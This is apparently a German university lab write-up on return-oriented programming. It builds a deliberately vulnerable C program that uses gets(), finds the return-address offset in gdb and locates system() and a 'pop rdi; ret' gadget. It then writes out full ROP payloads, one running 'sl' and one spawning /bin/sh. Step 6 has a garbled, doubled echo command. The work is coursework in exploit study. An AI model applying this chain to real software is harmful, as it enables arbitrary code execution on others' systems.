Malwareanalyse und Reverseengineering: Praktikumsaufgabe 4

4.1 Return-Oriented Programming

1, Simples Programm mit „problematischer“ Input-Funktion:

```
#include <stdio.h>
void main(){
        char buffer[8];
        gets(buffer);
        puts(buffer);
}
```

2, Übersetzung des Programms ohne „stackprotector“ u. mit Debug-Symbolen:

Durch folgendes Kommando:

- gcc -g -fno-stack-protector -o rop.o rop.c

3, Überprüfen eines Overflows u. Finden des Offsets zur Return-Adr.:

- echo "AAAAAAAABBBBBBBBCCCCCCCC" | ./rop.o
  - Speicherzugriffsfehler (Speicherabzug geschrieben) -> Overflow.
- gdb ./rop.o
- run "AAAAAAAABBBBBBBBCCCCCCCC“ -> SIGSEGV, 0x0000000100000000
- run "AAAAAAAABBBBBBBBCCCCCCCCDD“ -> SIGSEGV, 0x00007fffff004444
- run "AAAAAAAABBBBBBBBCCCCCCCCDDDD“ -> SIGSEGV, 0x00007f0044444444
  - Ergo 24 Bytes Offset von Buffer-Anfang bis Return-Beginn.

4, Starten Sie Ihr Programm mit dem Debugger gdb, (versch. Aufgaben):

a. break *main (oder break *0x000000000040057d) (Breakanweisung bei Mainfunktion)
b. run (Programm starten)
c. print system: 0x7fffff076590 <__libc_system> (Adresse der "System"-Funktion)
d. find "sl" libc (Finden eines "sl"-Strings)
e. ropsearch "pop rdi": 0x00400603 : (b'5fc3') pop rdi; ret (Suchen eines Ropgadgets)

5, Testen des Exploits: "steam locomotive"

- echo -e "AAAAAAAABBBBBBBBCCCCCCCC (24 Bytes Offset bis Return)
  \x03\x06\x40\x00\x00\x00\x00\x00 (Rop-Gadget: "pop, ret")
  \xec\x2d\x04\xff\xff\x7f\x00\x00 (String: "sl")
  \x90\x65\x07\xff\xff\x7f\x00\x00" | ./rop.o (Funktion: "system()")

Kurze Erläuterung: Nach 24 Bytes Offset wird die Rücksprung-Adresse der main-Funktion mit der Adresse des Ropgadgets überschrieben. Anstatt das Programm nun an die eigentliche Adresse zurückspringt, wird stattdessen der erste Befehl: "pop" des Rop-Gadgets ausgeführt, der den Inhalt der nächsten Adresse vom Stack nimmt und in das Register rdi schiebt. Der Inhalt der nächsten Adresse ist in diesem Fall der String: "sl", und wird in das Register rdi geschoben. Danach wird der zweite Rop-Gadget Befehl: "return" ausgeführt. Das Programm springt nun an die nächste Adresse. Diese beinhaltet die libc Funktion: system(rdi).

6, Aufruf einer Shell

- echo -e "echo -e "AAAAAAAABBBBBBBBCCCCCCCC
  \x03\x06\x40\x00\x00\x00\x00\x00 (Rop-Gadget: "pop, ret")
  \x03\x01\x1b\xff\xff\x7f\x00\x00 (String: "/bin/sh")
  \x90\x65\x07\xff\xff\x7f\x00\x00" > buffer_file" (Funktion: "system()")
- cat buffer_file - | ./rop.o